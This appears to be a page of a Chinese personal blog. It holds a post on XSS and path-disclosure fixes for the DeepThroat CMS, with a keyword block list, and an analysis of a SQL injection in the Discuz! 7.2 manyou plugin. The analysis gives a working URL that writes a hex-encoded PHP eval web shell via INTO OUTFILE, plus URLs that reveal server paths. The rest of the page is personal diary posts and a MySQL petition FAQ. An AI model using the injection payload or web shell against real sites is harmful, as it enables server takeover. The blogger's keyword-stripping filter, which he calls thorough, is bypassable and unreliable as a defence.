分页: 7/46 第一页 上页 2 3 4 5 6 7 8 9 10 11 下页 最后页 [ 显示模式: 摘要 | 列表 ]
深喉咙是一套适用于企业建站的CMS系统,官方地址为 www.deepthroat.com.cn
目前php版本最新为3.8
这套程序是符合MVC标准下进行开发的. bug如下.
1.n处跨站
跨站可以在翻页关键字,页面关键字等等出现,还有后台登录框.

程序在开发的时候已经考虑到了一部分过滤和全局控制.
index.php页面上有如下代码

$_REQUEST = cleanArrayForMysql($_REQUEST);
$_GET = cleanArrayForMysql($_GET);
$_POST = cleanArrayForMysql($_POST);
$request = $_REQUEST;


这个cleanArrayForMysql()自定义函数在
./inc/function.php里,原有的是这样的

function cleanArrayForMysql($data)
{
  if(!get_magic_quotes_gpc())
    return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);
  else
    return $data;
}

其中用php内部函数过滤了mysql的关键字,但是有些仍会绕过..这个放在后面再说.
我的解决思路,过滤url提交来的敏感词,使其不能补全,这里参考了try2cms的过滤思路和网上能搜到的RemoveXSS()
..为什么不用php自带的htmlentities()呢? 考虑到htmlentities()函数在编码上可能会存在绕过的问题.
我的代码如下

function cleanArrayForMysql($data)
{
   $xss1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $xss2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $xss = array_merge($xss1, $xss2);
   foreach($xss as $val){
     $data=str_ireplace($val," ",$data);
   }

  if(!get_magic_quotes_gpc())
    return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);
  else
    return $data;
}

过滤的够全面吧..貌似foreach的效率也蛮高的,在运行时以hash的方式来运行的,速度挺快.
后台的login.php,第167行

                    <li>用&nbsp;&nbsp;&nbsp;&nbsp;户:<input name="username" type="text" value="<?php echo $_REQUEST['uname'] ?>"  class="t_input" /></li>

value=用户提交的值,用户提交什么,返回什么...这里我的处理方法是将其value去掉,即

<li>用&nbsp;&nbsp;&nbsp;&nbsp;户:<input name="username" type="text" class="t_input" /></li>

到这里,xss解决了,因为是以mvc标准开发的,所以代码的更改量不大
这个过滤,连带一个注入也很申请的解决了. 貌似是给sql执行xss然后返回sql错误.

2.存的另一个洞..爆路径,爆路径的危害不算大,不能直接运行提交的代码,但就安全的角度考虑,应当过滤掉.
在index.php中有这么一段

default:
    if(file_exists($part_common_path.$params['related_common'])){
      require_once($part_common_path.$params['related_common']);
    }
    else
      require_once($part_path.'common.php');
    break;
}

当用户访问一个不存在的模块,即访问index.php?p={xxxxxxxx}
则,执行
require_once($part_common_path.$params['related_common']);
会出错.导致路径被别人一览无余.哈哈
解决方法即,在前面加个判断. 因为这里的
$params['related_common']
在前面已经被intval()强制为整形了.所以,p={xxxx}里面的xxx也只能是整形. ok,看代码
$menu_arr=get_model_type($params['id']);
的下面,加上
if (! $menu_arr) {     die('您访问的文件不存在或已被删除。'); }

这里本来我想给返回值写成跳转到首页的. 想想...暂时不动它了.至于返回什么,官方可以自由发挥.嘿嘿.

另外,后台也存在跨站和sql注入,不过是因为前面调用的那个function.php,被一笔搞定了.^^

ps.在开发的时候多注意,多考虑一下..其实漏洞也没那么神奇..当然,别像ShopNC考虑的那么多,最后连自己的源码都考虑进去了...

在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。

漏洞分析:
文件./manyou/sources/notice.php

相关代码:

if($option == 'del') {
$appid = intval($_GET['appid']);
$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice&action=invite');
} elseif($option == 'deluserapp') {
$hash = trim($_GET['hash']);    //此处并没有进行过滤,直接导致注入的产生
if($action == 'invite') {    
$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
if($value = $db->fetch_array($query)) {
$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice&action=invite');
} else {
showmessage('manyou:noperm');
}
} else {
$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice');
}
}

很简单的一个漏洞。在没有查询结果返回的情况下我们往往只有采取盲注的方式,但如果当前数据库帐号有File_priv的话我们也可以直接into outfile。

/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23

点击在新窗口中浏览此图片
0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E是
<?php @eval($_POST['O']);?>
的十六进制表示。

但想
into outfile的话,我们还得有web的物理路径,这在php的情况下并不难得到。

/manyou/admincp.php?my_suffix=%0A%0DTOBY57
点击在新窗口中浏览此图片
/manyou/userapp.php?%0D%0A=TOBY57
点击在新窗口中浏览此图片
这样就事具备,只差outfile了。


Tags: , ,

受刺激了

zf , Mar 8 22:11 , 生活琐碎 , 评论(1) , 引用(0) , 阅读(244) , 本站原创
500W啊,1000W啊.....
你以为是中彩票么? No~No!
这是加拿大国籍,即投资移民的资本,以上数字单位为  RMB.
嗯.  不知道从哪里来的哪门子兴趣,想要了解下移民的情况...结果,这倒好...
受了打击了....

给大家介绍一下吧,
投资移民,咱们中国的情况是.
要80万加币,约合人民币500w左右的合法资产及证明.
然后,其余的事情交给中介.然后有个条件是2选1的

要么,拿出40w加币,存入移民局指定帐户,无息存5年.
要么,拿出12w加币,缴纳利息.

------------------------------------------------------------------
他们说这个价格要涨了. 有的说,具体涨多少不一定,有的说,要涨到1000w....天知道
这事儿得问移民局了....

哎..什么时候我也能离开这个水深火热的地方呢?

得...有了目标了....! 好好干吧!
Tags: ,
首先,恳请各位观众,不要看到这个标题开始胡思乱想...
---------------------------------我不是邪恶的分割线---------------------------------------------

工作了,忙起来了,废话少了许多. 我的工作也涉及到我最讨厌的->模板设计
说来话长了....

公司要做网站,程序自然要用开源的啦... 节省许多开发时间(本来就没开发嘛) 可是,棘手的模版又出现在我的面前.
想想之前的EasyCo,那套程序的模版里的html语法有好多错误. 好在现在的浏览器容错较强. 哎.我还能说什么呢?

其实起初我并不是那么喜欢在我现在的这家公司的. 有些时候是没办法,一个个棘手的问题出现了. 还得一个个搞定. 不过也值得,最起码..学到了东西嘛. 说实话我都不敢想....

总是有些人匆匆走过,我也走过了一个时期. 今年就23了,狗屁都不会干(自私无聊爱慕虚荣人还挺贱). 我实在想不出我除了写php还会干啥了. 而现在呢?
公司的电子屏-----这个我要维护
公司的月报--------也得我出
公司的站-----------我和另一个同事一起做
公司的网络维护-----这个是我的活儿
公司的信息安全-----是我负责,可是我无从下手

一些事情,很容易就让你纠结的蛋疼...(如果你没有蛋,那你mimi疼)
(这会儿正在拼凑一些记忆)
干吗要搞那么痛苦呢?

自从到了公司,手上的私活儿,飞了不少.  在这家公司越久,越发觉假..虚伪.各种人类本性的邪恶统统暴露在我眼前.
其实没有什么大不了的,我们本来就是生活在水深火热的地方.
也没什么可好奇的.
因为...
大家都是--------马勒戈壁大草原上的草泥马.

有时,我总是如此. 在看似毫无逻辑且部分段落且一堆废话中描述着我的思想. 生活本来就是这样. 匆匆走过...

最后一次探望她....她已经快不行了...直到几日前收到她同学发来的短信...眼睛泛起了点点泪水.
这个世界太多无奈.其实...只需要某个官儿,把包二奶的钱拿出来一点就能救了人家的命..
她男朋友坚持要和她举行婚礼.天知道是否会如期进行...

额...我是不是跑远了?
(..........省略n字.以免被河蟹吃掉)

最后一次和另一个她谈话,还是上个月的事情了,她问我以后有啥打算.
..还有啥打算... 拼命赚钱,攒钱,离开这个水深火热的地方.
嗯. 这个世界太多虚伪.

所以我要伪装好自己.

那个丹走了,离开了安阳,我TMD终于可算清静了.  接下来要做的,就是将时间安排好.快快乐乐的做完这一年.(俺签了1年合同)之后的事儿.看看再说了. 如果真的可以考虑.再来一年...总之....我必须怎样怎样? 自己说给自己吧..

总会有人匆匆走过..3月..离职的季节,公司走了很多...也来了很多.
可是.我却快乐不起来.虽然这种情绪不会带入工作.可是融入生活本身就够累的了.整天还要虚伪的,像个傻逼似的笑,就如同一帮疯子吸了大麻一样. 他娘的!

还好..我现在还能受得了..倘若我真的受不了..我相信有天我会爆发的!

拯救MySQL!

zf , Feb 28 20:18 , blog大事记 , 评论(0) , 引用(0) , 阅读(214) , 本站原创
阻止Oracle收购Sun,在欧盟似乎已决定批准这项70亿美元的收购案之后,MySQL数据库创始人开始寻求中国和俄罗斯帮助。

在一封给中国 MySQL用户的邮件中写道 “亲爱的拯救MySQL的中国签名支持者,欧盟可能无法拯救MySQL, 中国和俄罗斯可能是拯救MySQL的希望之所在。中国拥有强大、独立以及自信的反垄断主管机关,因此,我本人在此请求您的帮助。对于您的签名,我们深表感谢。如果可以的话,我们需要您的进一步帮助……”


下面是具体的参与方法
点击这个链接并且填写自己的信息提交即可
http://helpmysql.org/cn/pe...

点击在新窗口中浏览此图片



FAQ:

----------------------------------

我们还有多少时间?

时间紧迫,但您仍然可以帮上忙。如果已经太晚(不论好还是坏),我们将立即停用请愿书,并在本网站每一页面上公布结果。

在我们通知您之前,请不要相信已经结束的任何说法。这些说法可能是试图破坏本次活动的某些人散布的。

本次活动网站于2009年12月28日启动。我们越早赢得大量支持者越好。关键的日期是2010年1月4日。那一天(明年的第一个工作日)我们计划 正式向监管者、其他政府机构、议会和记者提交请愿书。之后,我们将继续收集支持,直到程序结束,而且表示持续的支持也很重要。我们可能在2010年1月或 者可能2月份进行请愿书的多次提交。

活动为何是全球性的?

甲骨文需要在全球所有主要市场取得审批。因此,我们将在世界不同地区提交请愿书。

一般而言,监管者会把数据库市场的地理范围界定为全球性的。只要想想MySQL,显然就明白了:人们可以在全球各地下载或获取MySQL,并在各地使用它。因此,您的签名支持甚至会到达您的国家以外的世界其他地方的监管者面前。

我们需要多少签名才能成功?

没有特定限值。这不是事先就知道100,000签名者就能启动政治程序(根据某些法律)的请愿。这是有关MySQL用户的关注和希望达成令MySQL今后独立于甲骨文的真正解决方案(或者至少依赖程度更小)的表达。

这不仅仅是关于绝对数字的问题,而是如何能尽快签字,而且签字是否始终以较高速度增长的问题。您越快签字,越快让其他人知道就越好。

如何处理我的数据?我能相信你吗?

我们知道如您支持本次活动那么您就信任我们,我们将证明我们是值得信赖的。

我们有明确的资料保密声明,请见请愿书页,说明您的数据将只能用于提交请愿书给监管者、其他政府机关、议会和重要、声誉良好的新闻机构记者。如我们向您发送了有关本次活动的信息,您可点击取消链接,这样您将不会收到我们的任何其他电子邮件。

你们如何向监管者、议会和新闻机构提交请愿书?谁会看到请愿书?

有时候请愿书是以打印文件的方式提交,以表明其数量庞大。但是,为了环保考虑,我们可能选择以电子格式提交大多数的请愿书。监管者、议会和重要、著 名的新闻媒体会收到它们,其中附带了不得以任何与本次活动无关的方式使用数据的明确要求,并且,新闻媒体必须签署接收上述要求的文件,并将不被允许从请愿 书中引用任何姓名和其他唯一或范围较窄的识别数据,除非他们从签字人处收到书面明示许可(包括电子邮件方式),允许在报道中提及。

处理本次案件的监管者将把请愿书放入甲骨文/太阳微电子案卷中。对于查看该卷宗有特殊的规定。例如,欧盟甲骨文律师当然会有权看到请愿书。因此,有必要让请愿书具有真正的震撼效果。

我们不要求请愿书中提供任何特殊的敏感信息,如您决定填写其中内容的,我们也不希望您在公共或私人评论字段中提供任何敏感信息。

如何能最有效地帮助请愿成功?

显然最好的第一步就是您在请愿书上签字。

在帮助倡议 部分,您可找到进一步说明和材料,以及在网站上设置的标语。

我们相信您知道其他专业的MySQL用户,并且有办法鼓励他们在请愿书上签字。

我需要现在亲自写信给欧盟吗?或者写信给本国的反垄断机构或议会,例如欧洲议会?

我们认为本次活动将产生大量的回复,当然对于各个机构而言处理完整的请愿书更加容易一些。我们尽可能通过互联网进行号召,包括通过电子邮件,除非通过直接联系能够取得明显不同的良好效果。

如果您可以代表10名或以上员工规模的公司发言,并且MySQL对贵公司很重要,或者如果您可以代表100名或以上员工规模的公司发言,而且贵公司 把MySQL用于重大业务目的,请联系贵国反垄断机构,并表达您关于甲骨文收购MySQL计划的关注。如您需要任何帮助,请使用联系表向我们提问。
分页: 7/46 第一页 上页 2 3 4 5 6 7 8 9 10 11 下页 最后页 [ 显示模式: 摘要 | 列表 ]